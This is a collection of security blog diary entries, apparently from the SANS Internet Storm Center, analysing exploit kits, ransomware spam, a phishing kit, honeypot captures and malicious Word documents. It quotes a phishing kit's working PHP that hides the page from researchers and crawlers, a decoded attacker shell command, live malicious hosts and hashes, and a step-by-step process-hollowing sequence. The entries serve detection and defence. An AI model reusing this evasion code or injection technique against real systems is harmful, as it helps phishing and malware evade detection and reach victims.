Pasquale Stirparo, Ph.D.
@pstirparo

Introduction

KaiXin exploit kit (EK) was first identified in August 2012 by Kahu Security [1], and it received some press from security-related blogs later that year [2, 3, 4].  Within the past year or so, Jack at malwarefor.me and I have posted our analysis of a few KaiXin EK traffic examples [5, 6, 7, 8, 9], and in March 2016 I wrote an ISC diary about this EK [10].  A May 2016 blog from Palo Alto Networks associated some instances of KaiXin EK with a KRBanker trojan that targeted online banking users [11].

Since that time, I've rarely found KaiXin EK.  Every once in a while, I'd sometimes find indicators, but I was never able to generate any traffic.  Fortunately, someone recently informed me of an active URL, and I retrieved some good examples of KaiXin EK.

Of note, I had to use an older Windows 7 host with Internet Explorer (IE) 8 as the web browser.  I was unable to generate any EK traffic from the initial URL if I used Windows 7 with IE 9 or newer.

Today's diary examines these examples of KaiXin EK infection traffic.

The EK infection

I tried a variety of configurations (all using IE 8) in order to get as many exploits as possible.  An older Windows host with Java 6 runtime environment update 22 gave me a Java exploit.  Newer Windows hosts generated different Flash exploits.  The below images show 3 examples of the traffic from the initial URL.

Shown above:  First run for the KaiXin EK infection traffic in Wireshark.

Shown above:  Second run for the KaiXin EK infection traffic in Wireshark.

Shown above:  Third run for the KaiXin EK infection traffic in Wireshark.

The initial URL appears to be a gate.  This gate checks for security products from Chinese-based companies like Kingsoft, 360 and Tencent.

Shown above:  HTTP request and response for the initial URL.

Shown above:  Some security products referenced in HTML from the first HTTP response.

Using tcpreplay on Security Onion, I found several alerts related to KaiXin EK if I tried Suricata with the Emerging Threats signature set.

Shown above:  Alerts on the traffic from the first run.

The payload didn't execute properly for any of my infections.  During each infection, a VBS file appeared in the user's AppData\Local\Temp directory with a random name of 5 alphabetic characters.  An example of the file name and path on a Windows 7 host follows:

• C:\Users\[username]\AppData\Local\Temp\CZGYO.vbs

I ran the payload through publicly-available sandboxes at malwr.com and hybrid-analysis.com to get the post-infection traffic.

The payload

Today's KaiXin EK payload is a 8,192 byte executable that acts as a file downloader.  It appears to download another piece of malware about 2 MB in size.  I was unable to identify the follow-up malware based on the HTTP traffic it generated.  The follow-up malware calls back to a domain registered to a Chinese individual or organization.

All activity for KaiXin EK and the post-infection traffic was on 125.77.31.181, a Chinese IP address.

Shown above:  The malware payload and follow-up malware.

Show above:  Traffic generated by the KaiXin EK payload and follow-up malware in a public sandbox.

Shown above:  Alerts for the post-infection traffic on Security Onion using Sguil with Suricata and the Emerging Threats Pro signature set.

Indicators of Compromise (IOCs)

The following are IP addresses, TCP ports, and domain names associated with today's infection:

• 125.77.31.181 port 12113 - otc.szmshc.com:12113 - KaiXin EK
• 125.77.31.181 port 10002 - u.ed-vis.com:10002 - KaiXin EK sends payload (file downloader)
• 125.77.31.181 port 19008 - n.shopzhy.com:19008 - Post-infection traffic from KaiXin EK payload
• 125.77.31.181 port 80 - conn.guizumall.com - Post-infection traffic from follow-up malware

The following are SHA256 hashes, file names, and descriptions of the EK payload and follow-up malware:

• SHA256 hash: 21bfb09e9c67c69ff3041b48494b093bce8acb57ee0e9e0fe5da737561064a7b
• File name: b02q1.exe
• File description: Payload (a downloader) sent by KaiXin EK (8,192 bytes)

• SHA256 hash: e4d9c9b5400436204bbd1510f73e6e76cc970b844605f4b1918bac5c2b74b384
• File name: cj1.exe
• File description:  Follow-up malware retrieved by the KaiXin EK payload (2,095,616 bytes)

Final words

From the beginning, KaiXin EK has been described as a Chinese EK.  I've seen it in traffic associated with China, Japan, Korea, and possibly some nations in Southeast Asia.  It usually doesn't make the list with other more advanced EKs, and the exploits used in KaiXin EK seem awfully outdated.

However, the actors and campaigns using KaiXin EK remain a threat.

People can protect themselves by following best security practices like keeping their computers up-to-date with the latest version of Windows, web browsers, and browser-associated applications (like Java, Flash, etc.).

Pcaps, malware, and artifacts associated with this diary can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

References

[1] http://www.kahusecurity.com/2012/new-chinese-exploit-pack/
[2] http://eromang.zataz.com/2012/12/05/kaixin-exploit-kit-evolutions/
[3] https://websiteanalystsresource.wordpress.com/2012/08/10/exploring-the-kaixin-exploit-kit/
[4] http://ondailybasis.com/blog/2012/11/01/kaixin-exploit-pack-is-back-part-1/
[5] http://www.malware-traffic-analysis.net/2015/01/03/index.html
[6] http://www.malware-traffic-analysis.net/2015/01/31/index.html
[7] http://malwarefor.me/2015-09-20-kaixin-ek-from-korean-news-website/
[8] http://www.malware-traffic-analysis.net/2016/03/22/index.html
[9] http://www.malware-traffic-analysis.net/2016/05/31/index2.html
[10] https://isc.sans.edu/forums/diary/Recent+example+of+KaiXin+exploit+kit/20827/
[11] http://researchcenter.paloaltonetworks.com/2016/05/unit42-krbanker-targets-south-korea-through-adware-and-exploit-kits-2/

I tested the process replacement maldoc (Hancitor Maldoc Bypasses Application Whitelisting) on Windows 10 and Word 2016. It's not blocked.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com
NVISO

It is well-known that bad guys implement pieces of code to defeat security analysts and researchers. Modern malware's have VM evasion techniques to detect as soon as possible if they are executed in a sandbox environment. The same applies for web services like phishing pages or C&C control panels.

Yesterday, I found a website delivering a malicious PE file. The URL was http://www.[redacted].com/king/prince.exe. This PE file was downloaded and executed by a malicious Office document. Nothing special here, it's a classic attack scenario. Usually, when I receive a URL like this one, I'm always trying to access the upper directory indexes and also some usual filenames / directories (I built and maintain my own dictionary for this purpose). Playing active-defense may help you to get more knowledge about the attacker. And this time, I was lucky:

The file 'zz.php' is less interesting, it's a simple PHP mailer. The 'dbl' directory contains interesting pages that provide a fake Bank of America website:

In this case, attackers made another mistake, the source code of the phishing site was left on the server in the 'dbl.zip' file. Once downloaded and analyzed, it revealed a classic attack trying to lure visitors and collect credentials. Note that the attacker was identified via his gmail.com address present in the scripts. But the most interesting file is called 'blocker.php' and is included at the beginning of the index.php file:

...
include('blocker.php');
...

Let's have a look at this file. It performs several checks based on the visitor's details (IP and browser).

First of all, it performs a reverse lookup of the visitor's IP address and searches for interesting string:

$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$blocked_words = array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit", "paypal");
foreach($blocked_words as $word) {
    if (substr_count($hostname, $word) > 0) {
    header("HTTP/1.0 404 Not Found");
    }
}

Next, the visitor's IP address is checked against in a very long list of prefixes (redacted):

$bannedIP = array( [redacted] );
if(in_array($_SERVER['REMOTE_ADDR'],$bannedIP)) {
     header('HTTP/1.0 404 Not Found');
     exit();
} else {
     foreach($bannedIP as $ip) {
          if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){
               header('HTTP/1.0 404 Not Found');
          }
     }
}

Here is the list of more relevant banned network:

• Google
• Digital Ocean
• Cogent
• Internet Systems Consortium
• Amazon
• Datapipe
• DoD Network Information Center
• Omnico Hosting
• Comverse Network Systems
• USAA
• RCP HHES
• Postini
• FDC Servers
• SoftLayer Technologies
• AppNexus
• CYBERCON
• Quality Technology Services
• Netvision
• Netcraft Scandinavia
• GlobalIP-Net
• China Unicom
• Exalead
• Comverse
• Chungam National University

And the last check is based on the User-Agent:

if(strpos($_SERVER['HTTP_USER_AGENT'], 'google') or strpos($_SERVER['HTTP_USER_AGENT'], 'msnbot') or strpos($_SERVER['HTTP_USER_AGENT'], 'Yahoo! Slurp') or strpos($_SERVER['HTTP_USER_AGENT'], 'YahooSeeker') or strpos($_SERVER['HTTP_USER_AGENT'], 'Googlebot') or strpos($_SERVER['HTTP_USER_AGENT'], 'bingbot') or strpos($_SERVER['HTTP_USER_AGENT'], 'crawler') or strpos($_SERVER['HTTP_USER_AGENT'], 'PycURL') or strpos($_SERVER['HTTP_USER_AGENT'], 'facebookexternalhit') !== false) { header('HTTP/1.0 404 Not Found'); exit; }

Surprisingly, this last checks is basic and, often, User-Agents from tools or frameworks are also banned. Like:

Wget/1.13.4 (linux-gnu)
curl/7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5
python-requests/2.9.1
Python-urllib/2.7
Java/1.8.0_111
...

Many ranges of IP addresses belongs to hosting companies. Many researchers use VPS and servers located there, that's why they are banned. In the same way, interesting targets for the phishing page are residential customers of the bank, connected via classic big ISP's.

Conclusion: if you are hunting for malicious code / sites, use an anonymous IP address (a residential DSL line or cable is top) and be sure to use the right User-Agents to mimic "classic" targets.

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Introduction

Earlier this week on Monday 2016-11-14, I found an example of malicious spam (malspam) distributing Troldesh ransomware.  Troldesh (also called Filecoder or Shade) was initially reported in 2015 [1, 2].  That same year, I documented two examples of Troldesh ransomware delivered through exploit kit campaigns [3, 4].  By July 2016, Microsoft reported a new variant of Troldesh [5], and that seems to be the variant I found on Monday.

This diary takes a closer look at this week's Troldesh infection in my lab environment.

The malspam

The emails I saw from this wave of malspam were disguised as an account change notification from Sberbank of Russia.  The emails all had a link in the message that appears to be for sberbank.ru but is actually a completely different URL.

Shown above:  Screenshot of the email highlighting the malicious link.

Shown above:  Google translation of the Russian language text.

The malware

The URL from the email redirected to another URL leading to a file named document.zip.  Within that zip archive is an executable file with an .scr file extension.  The name of the file uses Russian language characters that did not display properly on my Windows host.

Shown above:  The Downloaded zip archive and malware it contains.

Double-clicking the .scr file infected the Windows host, and the desktop quickly displayed indicators for a Troldesh ransomware infection.

Shown above:  Desktop of an infected Windows host.

The encrypted files all had .da_vinci_code as a file extension.  This fits what Microsoft reported about the current variant of Troldesh ransomware [5].

Shown above:  File names and extensions for the encrypted files.

I tried the Tor link for the feedback form for additional info.

Shown above:  Accessing the feedback form from the decryption instructions.

Shown above:  Translation of the feedback form to English.

The traffic

The traffic is similar to what I saw from two Troldesh examples last year [3, 4].  This particular infection generated Tor traffic immediately after the ransomware was sent.  The infected host also generated an IP address check in a manner consistent with Troldesh ransomware.

Shown above:  Traffic from this infection filtered in Wireshark.

I checked the traffic against Snort 2.9.8.3 using the Snort subscription ruleset, and I also checked it on Security Onion running Suricata with the ET PRO ruleset.

Shown above:  Alerts from the ET and ET PRO rulesets.

Shown above:  Some of the alerts seen from the Snort ruleset.

Indicators of Compromise (IOCs)

The following are IOCs associated with this infection.

Link from the email and redirect URL to download the zip archive:

• 94.73.145.84 port 80 - www.hizlikiralikforklift.com - GET /wp-content/themes/nanocrea/document.html
• 37.187.9.46 port 80 - appitel.fr - GET /vcard/Philippe/rw_common/themes/affero/document.zip

Downloaded zip archive - file name: document.zip

• SHA256 hash: 99d54e5c2e033d7703d9f449662bfcef1cb2ea0933dcfe0ca97e13e83cb9177b

Extracted malware - file name: расчет_xls.scr

• SHA256 hash: 749ed7d4fc97baa5e1068154fd642b23e9981f273fb18da2e02a8d925d7ca4d8

IP address check by the infected Windows host:

• whatismyipaddress.com - GET /

Tor traffic using various domains, IP addresses, and TCP ports.

Final words

A copy of the infection traffic, associated email, malware, and artifacts can be found here.

Ultimately, Troldesh is one of the many families of malware we see from malspam on a near-daily basis.  It remains profitable enough that criminals will not stop distributing it.  We expect to find more samples of Troldesh and similar ransomware in the coming months.

Fortunately, best security practices will help prevent infections like the example in today's diary.  A good email filtering system, properly administered Windows hosts, and an educated workforce mean users are much less likely to be infected.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

[1] http://blog.checkpoint.com/2015/06/01/troldesh-new-ransomware-from-russia/
[2] https://blogs.technet.microsoft.com/mmpc/2015/08/09/emerging-ransomware-troldesh/
[3] http://www.malware-traffic-analysis.net/2015/04/09/index.html
[4] http://www.malware-traffic-analysis.net/2015/09/18/index.html
[5] https://blogs.technet.microsoft.com/mmpc/2016/07/13/troldesh-ransomware-influenced-by-the-da-vinci-code/

VMWare published today advisory VMSA-2016-0019 affecting products VMware Workstation Pro / Player and VMware Fusion Pro / Fusion. The issue is located in the drag and drop feature, which is affected by an out-of-bounds memory access vulnerability.

We have not seen yet any active exploiting for this CVE. If you see something, please share it with us by our contact form.

More information at http://www.vmware.com/security/advisories/VMSA-2016-0019.html

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter: @manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

I wrote a diary six months ago about using INetSim as a honeypot. Over the past few weeks I have captured only one package type uploaded through the FTP service to my honeypot, Bitcoin Miner. As for the web service, I have been getting several times the same command (captured as a file) as an ASCII encoded command (cmd=):

cmd=%63%64%20%2F%76%61%72%2F%74%6D%70%20%26%26%20%65%63%68%6F%20%2D%6E%65%20%5C%5C%78%33%36%31%30%63%6B%65%72%20%3E%20%36%31%30%63%6B%65%72%2E%74%78%74%20%26%26%20%63%61%74%20%36%31%30%63%6B%65%72%2E%74%78%74

The command translate into a UNIX command as follow:

cd /var/tmp && echo -ne \\x3610cker > 610cker.txt && cat 610cker.txt

Some of the web GET/POST traffic captured over HTTP/SSL:

url=http://192.168.152.84/robots.txt
url=http://192.168.152.84/sitemap.xml
url=http://testp3.pospr.waw.pl/testproxy.php
url=http://192.168.152.84:8080/manager/html
url=http://www.7777757.com/
url=http://192.168.152.84/xmlrpc.php
url=http://192.168.152.84:8080/
url=http://www.aszw8.com/
url=http://www.7777757.com/
url=http://testp4.pospr.waw.pl/testproxy.php
url=http://testp4.pospr.waw.pl/testproxy.php
url=http://192.168.152.84:8080/manager/html
url=https://192.168.152.84:443/
url=http://www.aszw8.com/
url=http://192.168.152.84:8080/script
url=https://192.168.152.84/
url=http://192.168.152.84:8080/manager/html
url=http://192.168.152.84:8080/manager/html
url=http://testp4.pospr.waw.pl/testproxy.php

The first 5 files are all the same file; the file was uploaded via FTP multiple times and is a well known Bitcoin Miner package. The last file was also uploaded a few days ago and is also a new type of Bitcoin Miner package (zip):

[1] 1578496 Oct 25 00:49 2288866c1ed93431bc46df5c83977dda64272144
[2] 1578496 Oct 29 05:39 63a61c7878e5a6265c7b13c1d59bd5661f4e282e
[3] 1578496 Oct 30 11:42 8bf6f9ce6816efe45b2088ca0bb8ed3dfce9b66d
[4] 1578496 Oct 31 05:10 30e4c2bb076f87b3e6f2dd996eb8d204f006e642
[5] 1578496 Oct 31 16:35 89bc907d3dcb89eefa36d718fc796f2e709223c0
[6] 3528005 Nov  8 10:21 412b618589ce9eed3d893b81be20a3f2c51d5ce4 (zip file contains IMG001.scr and information.vbe)

Virustotal Results

[1][2][3][4][5] https://www.virustotal.com/en/file/807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d/analysis/
[6] https://www.virustotal.com/en/file/7126b9932dc0cdfe751340edfa7c4a14b69262eb1afd0530e6d1fdb2e25986dd/analysis/
[7] https://isc.sans.edu/forums/diary/INetSim+as+a+Basic+Honeypot/21055
[8] http://www.rapidtables.com/convert/number/hex-to-ascii.htm

-----------
Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Someone asked me if EMET would stop the malicious document I analyzed in my diary entry Hancitor Maldoc Bypasses Application Whitelisting.

In its default configuration, EMET will stop the shellcode from executing inside the Word process with its EAF protection. But there is no specific mitigation for the process replacement/process hollowing attack.

By default, EMET protects MS Word:

Opening the malicious Word document:

Because of the default macro settings, the VBA code will not execute.

But when we click Enable Content, the VBA code will execute. It will inject shellcode inside the Word process, and this shellcode will lookup the API functions it needs. This behavior will be detected by EMET's Export address table Access Filtering (EAF) and the Word process will be killed.

When we disable EAF, the shellcode will be able to run and thus do the process replacement. There is no mitigation for process replacement.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com
NVISO

In the new to me department.  It looks like this one has been around for more than three years.

Today I was doing some banner grabbing looking for a Mirai node that had gotten away from me, and came across the Telnet banner below.  It appears this device is infected with a piece of malware called Reincarna/Linux.Wifatch.  It purports to being a memory resident malware that defends the device from more malicious malware. 

More information about reincarna/Linux.wifatch from Symantec.  Symantec's write-up states that the malware provides a backdoor and connects back to a Command and Control server, so maybe not so benevolent after all.

--------------------------------------

# telnet X.X.X.X
Trying X.X.X.X…
Connected to X.X.X.X.
Escape character is ‘^]’.

REINCARNA / Linux.Wifatch

Your device has been infected by REINCARNA / Linux.Wifatch.

We have no intent of damaging your device or harm your privacy in any way.

Telnet and other backdoors have been closed to avoid further infection of
this device. Please disable telnet, change root/admin passwords, and/or
update the firmware.

This software can be removed by rebooting your device, but unless you take
steps to secure it, it will be infected again by REINCARNA, or more harmful
software.

This remote disinfection bot is free software. The source code
is currently available at https://gitlab.com/rav7teif/linux.wifatch

Team White

---------------------------------

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

Thanks to our reader Mikael for pointing out a new branded vulnerability with domain name, logo and catchy name: "BlackNurse". (no jingle though). [1]

The problem pointed out by this announcement is that firewalls can spend significant resources on processing these relatively common ICMP error messages. Type 3 error messages are used for various "Unreachable" messages. For example, Type 3 Code 3 is used for port unreachable. For a complete list, see the official IANA list [2] .

The announcement doesn't make any statements as to why these packets take up so much CPU time. In my opinion, this is likely due to the firewall attempting to perform stateful analysis of these packets. ICMP unreachable packets include as payload the first few bytes of the packet that caused the error. A firewall can use this payload to determine if the error is caused by a legit packet that left the network in the past. This analysis can take significant resources.

According to the description of the attack, firewalls will suffer performance issues if hit by a few 10s of MBits of ICMP traffic, even for firewalls that are supposed to be able to dell with Gigabit networks. The "fix" is to block or rate limit the traffic.

It is not recommended to block all Type 3 ICMP messages. In particular Type 3 Code 4 (Fragmentation Needed and Don't Fragment was Set) messages are requied for path MTU discovery, which many modern operating systems use. Port unreachable messages (Type 3 Code 3), which were used in most of the tests performed by the group releasing this vulnerability, can usually be blocked but you may see some performance issue if for example a DNS resolver is attempting to connect to a non-existing DNS server, and then delays trying a secondary server because it never receives the port unreachable message.

So what should you do?

• Don't panic. This is not a big deal. Test your firewall if you can, or check if is on the vulnerable list
• You are vulnerable if you use a smaller Cisco ASA firewall. Newer/Larger multi-core versions appear to be fine. SonicWall and "some" Palo Alto firewalls appear to be vulnerable too.
• iptables based firewalls are not affected
• Monitor incoming ICMP unreachables. The advisory includes some snort rules to do so, but anything monitoring ICMP should work (netflow?) as no payload inspection is necessary
• Cisco does not consider this a security issue. There is no CVE.

[1] http://www.netresec.com/?page=Blog&month=2016-11&post=BlackNurse-Denial-of-Service-Attack
[2] http://www.iana.org/assignments/icmp-parameters/icmp-parameters.xhtml#icmp-parameters-codes-3

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

As a quick follow-up to Didier's post, I wanted to quickly summarize some of the other tools (aside from tcpdump) that can be used to collect full packet captures. I limited myself to open source tools that are meant to run unattended (no GUI) on a remote system and use libpcap. By using libpcap, all these tools are able to use BPF to limit the collected data and they all produce pcap output.

To make it a bit easier to compare, I added an example command line for each tool that will listen on the eth0 interface and rotate logs once an hour. I am also excluding ssh traffic to show how BPF syntax can be used to limit capture.

daemonlogger: This comes out of the snort project. One nice option is the -M option that will allow you to log packets and automatically delete old logs if the disk fills up. For example, -M 90 makes sure the disk usage never exceeds 90%. My favorite utility just for that option alone. A typical command line:

daemonlogger -d -n packetfiles  -g pcapgrp -u pcapuser -t 3600 -i eth0 not port 22

snort: Snort itself can be used to log packets to a directory. Snort automatically appends a time stamp to the log file, avoiding overwriting existing files. But snort doesn't have a "rotate" option, so you need to send a signal to snort ot reload.

snort -l /var/log -i eth0 -b -D not port 22

dumpcap: dumpcap comes as part of Wireshark. It can capture packets in monitor mode on wireless interfaces. It has a ringbuffer mode that keeps the last x files. So you have to make sure they don't exceed the available space (not as nice as -M in daemonlogger). It can log in pcapng format and if you do so, you can add a comment to the file. A timestamp is inserted into the filename.

dumpcap -i eth0 -a files:24 -a duration:3600 -P -w packets.pcap

pcapdump: Very simple/basic utility but has the unique feature to be able to sample packets (even randomly). It can also limit packet captures to link/network and transport layer header and strip off all application data (-H option)

pcapdump -i eth0 -w pcapfile.pcap -u pcapuser -g pcapgrp -r 3600 

netsniff-ng: one of the less well known tools, and one I haven't played with yet. It claims to be optimized for performance by taking advantage of newer linux kernels. It does not use libpacp, so not strictly speaking "in scope" for this list. It also comes with a packet generator. 

tshark: I just include it here for "completeness". I don't consider it a capture utility. Wireshark provides dumpcap for that.

Any other options I forgot about? (open source, non-GUI, libpcap compatible...)

Links to tools:

Daemonlogger: https://snort.org/downloads#additional_downloads
Snort: https://snort.org
Dumpcap: http://www.wireshark.org
pcapdump: https://launchpad.net/ubuntu/precise/+package/pcaputils​
netsniff-ng: http://netsniff-ng.org

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Microsoft today released 13 bulletins (plus one bulletin from Adobe for Flash). 5 of the Microsoft bulletins, and the Adobe Flash bulletin are rated critical. There are a number of vulnerabilities that have either already been known, or have already been exploited:

MS16-129 and MS16-142 (Internet Explorer): An information disclosure (%%cve:2016-7199%%) has already been publicly disclosed, but not been exploited yet. The vulnerability can leak information cross-origin. In addition there is a spoofing vulnerability that only affects Microsoft Edge that has been publicly disclosed ( %%cve:2016-7209%% ).

MS16-132 (Microsoft Graphics Component): This is yet another open type font issue (%%cve:2016-7256%%). IT has already been exploited and I labeled this bulletin as "Patch Now" . The vulnerability can be used for remote code execution.

MS16-135 (Kernel Mode Drivers): A Win32k priviledge escalation vulnerability (%%cve:2016-7255%%) has already been publicly disclosed and exploited. This one is a bit odd in that it sounds like what Google released as %%CVE:2016-7855%%. Trying to clarify if this is a typo. 

Full details: https://isc.sans.edu/mspatchdays.html?viewday=2016-11-08

Note that Microsoft didn't use the first two bulletins for the usual Internet Explorer and Edge cumulative updates. Instead, the first bulletin (MS16-129) is used for Edge, and the last one (MS16-142) is used for Internet Explorer. The Flash update uses the next to last bulletin (MS16-141). 

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

For about two months I've seen malicious documents dropping Hancitor malware with the following method: VBA code injects shellcode in the Word process, this shellcode extracts an embedded EXE from the Word document to disk, and executes it.

Recently I found a variant that no longer writes the EXE to disk, but runs it with a technique called process replacement or process hollowing.

This sample (MD5 B107F3235057BB2B06283030BE8F26E4) contains VBA code that extracts encoded shellcode from a form property, injects it in the Word process and runs it. The shellcode contains both 32-bit and 64-bit code. If the Word process is a 32-bit process, the VBA code will execute the 32-bit shellcode, else if it is a 64-bit process it will execute the 64-bit shellcode.

The encoded, embedded EXE is embedded in the Word document via a PNG image. The encoded EXE is appended to a 1-pixel PNG image, which is inserted in the Word document. The EXE is base64 encoded, and then each base64 character is XORed with 15 and then has 3 subtracted from it. The encoded EXE is prefixed by string STARFALL followed by 4 bytes (2 bytes contain the size of the encoded EXE, 0x5AAC).

The EXE is a 32-bit application (MD5 CDCD2CA36ED9A2B060DD4147BC5F7706).

The 32-bit shellcode does a egg-hunt for string STARFALL, skips 4 bytes and then starts to decode the encoded EXE to memory. The size of the encoded EXE is hardcoded in the shellcode, it is not read from the 2 bytes prefix.

Then the shellcode proceeds with starting a new, suspended process (CreateProcess). If the 32-bit shellcode is running on 32-bit Windows, then the process that is created is %windir%\explorer.exe. If the 32-bit shellcode is running on 64-bit Windows, then the process that is created is 32-bit svchost.exe (%windir%\SysWOW64\svchost.exe). This host process is hollowed by removing the code mapped at the base address of the embedded EXE (ZwUnmapViewOfSection), new memory is allocated at the base address of the embedded EXE (VirtualAllocEx) and the PE header and sections of the embedded EXE are written to that newly allocated memory (WriteProcessMemory). Next the context of the suspended thread is modified by changing register EAX to the value of the entrypoint of the embedded EXE (GetThreadContext and SetThreadContext). Finally, the suspended process is started (ResumeThread).

The result of this process replacement is that the embedded, malicious EXE executes in stead of explorer.exe (or svchost.exe). Application whitelisting technology does not prevent the embedded EXE from running, because a whitelisted application was loaded (explorer.exe or svchost.exe).

Most anti-virus will not detect the embedded EXE because it is never written to disk.

The 64-bit shellcode does almost the same as the 32-bit shellcode, except that it always launches 32-bit svchost.exe.

If you want to know more about the tools I used to extract the shellcode and EXE, read my blog post Maldoc With Process Hollowing Shellcode.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

When a security incident occurred and must be investigated, the Incident Handler's Holy Grail is a network capture file. It contains all communications between the hosts on the network. These metadata are already in goldmine: source and destination IP addresses, ports, time stamps.  But if we can also have access to the full packets with the payload, it is even more interesting. We can extract binary files from packets, replay sessions, extract IOC's and many mores.

Performing FPC or "Full Packet Capture" is a must but has many constraints:

• It has a huge impact on the required storage
• It has privacy issues as the captured data may contain confidential information (for a user or the company)
• Within complex architectures, it is complex to implement (multiple Internet gateways, distributed sites, ...)

So, the idea: Instead of deploying a full packet capture solution for the entire network, you can focus on more sensitive assets and collects locally. That's what I'm doing with all my servers hosted here and there. How?

First of all, when I deploy a new server, the first piece of software that I install after the operating system is Docker[1]. It is so convenient to deploy applications in a container for production or test/development. Docker containers can be deployed at boot time and do not need specific startup scripts. We can quickly deploy a Docker container that will capture packets for us. Based on Tcpdump, it will use some of the nice features to manage the storage space and have a rotating buffer.

The Docker file is very simple:

FROM ubuntu
MAINTAINER Xavier Mertens​​
VOLUME  [ "/data" ]
RUN apt-get update && apt-get -y -q install tcpdump​
CMD [ "-i", "any", "-C", "1000", "-W", "10", "-w", "/data/dump" ]
ENTRYPOINT [ "/usr/sbin/tcpdump" ]

Build your image:

# docker build -t system/tcpdump .

And you're ready to go. By default, the container will capture packets from any interface and write them to the /data volume. It will keep a sliding window of 10 x 1GB. But you can pass any Tcpdump parameter via the command line. Here is my favorite:

# docker run -d --net=host -v /var/log/tcpdump:/data --restart=always \
             --name  tcpdump -i eth0 -n -s 0 -C 1000 -W 10 -w /data/dump.pcap

Keep in mind:

• Sometimes it takes some delays to detect an incident and to start investigations.
• Adapt the sliding window of your PCAP files accordingly to the traffic handled by the server! (It is easy for an attacker to full fill your PCAP files with junk traffic to force the rotation and discard evidence)​
• PCAP files are stored on the computer and could be deleted by the attacker.
• Add any BPF[2] filter to log only relevant traffic (but you could loose some interesting data)
• Tcpdump does not provide data persistence. If the container is restarted (ex: the server is rebooted), PCAP files rotation will restart with the file '0'.

Happy logging!

[1] https://www.docker.com/
[2] http://biot.com/capstats/bpf.html

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

5 years ago, I posted a story on the Eastern Seaboard power outage of 2003 (https://isc.sans.edu/forums/diary/8+Years+since+the+Eastern+Seaboard+Blackout+Has+it+Been+that+Long/11374/ ).  In that story I mentioned that we can't seem to help but have a large power outage every 10 years or so - the conclusion being that we shouldn't take a multi-day widespread power outage off the table for DR / BCP (Disaster Recovery / Business Continuity Planning) - we never seem to get the infrastructure 100% right.

I think it's time to take that conclusion and expand it - time to add a new threat to our DR plans.

We've always had DOS and DDOS in our plans - folks tend to multi-home for that, or buy a DDOS service from their ISP.   Newer approaches might include implementing Flowspec to help set PBR parameters upstream on suspected attack traffic (stay tuned on this BTW).

However, what we're seeing now, with the Mirai related DDOS events, is that the target of the attack is the upstream providers - Dyn for instance.  Or in the case of krebsonsecurity attack, that targetted attack affected the provider (akamai).  
What we're seeing now is that DDOS attacks are getting large enough to affect large providers and all of their clients- there are precious few providers who can sink a multi-GB attack without affecting their customers.  In the case of the Dyn outage, folks who had an alternate DNS provider for their server records were able to flip to that provider and recover fairly quickly.  We need to think of DDOS events as natural disasters like hurricanes, floods or ice storms.
I think what we need to start planning for is attacks that don't target us directly - most organizations will be just collateral damage in most DDOS attacks going forward.  Maybe we can call it "blast radius" planning - where if we're in the blast radius of an attack, plan on moving our organization to another provider, hopefuly outside of the spatter range?

Eventually though, as an industry we're going to have to find ways to deal with this at the core.  Flowspec has some potential here, where provider A could tell provider B that "this particular set of indicators identifies an attacking flow".   As implemented today though, flowspec tables fill up muc to quickly to operate between providers, or against Mirai sized attacks.

What we really need is a method of taking the costs out of cooperation.  Right now, if ISPs were to put together formal ways of combatting attacks like this, it's a direct impact on profit.  Nobody is really incented to "fix" attacks like DOS or DDOS - the incentive is to either sell more bandwidth or sell a DDOS mitigation service.  With ISP margins so slim these days, spending money with no direct return doens't get a lot of air play with Sr Management.  I'm not sure that pulling governments into this is helpful (in fact I'm pretty sure it'll hurt more than help), but

Maybe I'm being fatalistic - what do you think?  Please use our comment form if you've got a happier spin on this?

===============
Rob VandenBrink
Compugen

One charactersitcs of many of the telnet explois we have seen over the last few years has been the transmission of malware using "echo" commands. Even the recent versions of Mirai used this trick. Reconstruction the malware from packet captures can be a little bit tricky, in particular if you are trying to automate the process. So here is what I have been doing for my "honeypot DVR":

First of all, the DVR is connected to a remote controlled power outlet, to make it easy to reboot it as needed. I do use a shell script to reboot the DVR after it gets infected.

Next, I run snort to alert me that the honeypot got infected again. I don't trigger on the initial compromise, but on the outbound telnet scans. They usually start once the exploit completes. The signature I am using:

alert tcp $HONEYPOTIP any -> any 23 (msg: "MIRAI end"; sid: 1; flow: stateless; flags: S; threshold: type threshold, track by_src, count 10, seconds 1;)

I just run snort like: snort -c ./snort.conf -A console -N -q -i eth0 and once it starts flooding the terminal with alerts, it is time to reboot (I haven't automated that part yet... soon). In addition I run a full packet capture of all traffic going to/from the DVR.

Once the honeypot is compromised (usually every 15 minutes or less), I take the packet capture and run it through tcpflow.

tcpflow will extract all TCP sessions, and reassemble the payloads. The only step that is left is to extract the transmitted files. To do this, I wrote a little perl script. Just pipe the telnet session files to it, and it will extract the malware. You can find it, and other tools/samples here: https://github.com/jullrich/dvrxploits .

The current script is in a "works for me" state. It will not work if multiple files are transmitted at the same time . For example:

echo -en "\x...." > file1
echo -en "\x..." > file2
echo -en "\x..." > file1

"interleaving" of echo statements like this is something I haven't seen so far, but it wouldn't be hard to adjust the script to deal with it.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

I recently got asked "what does a typical pentest look like?"

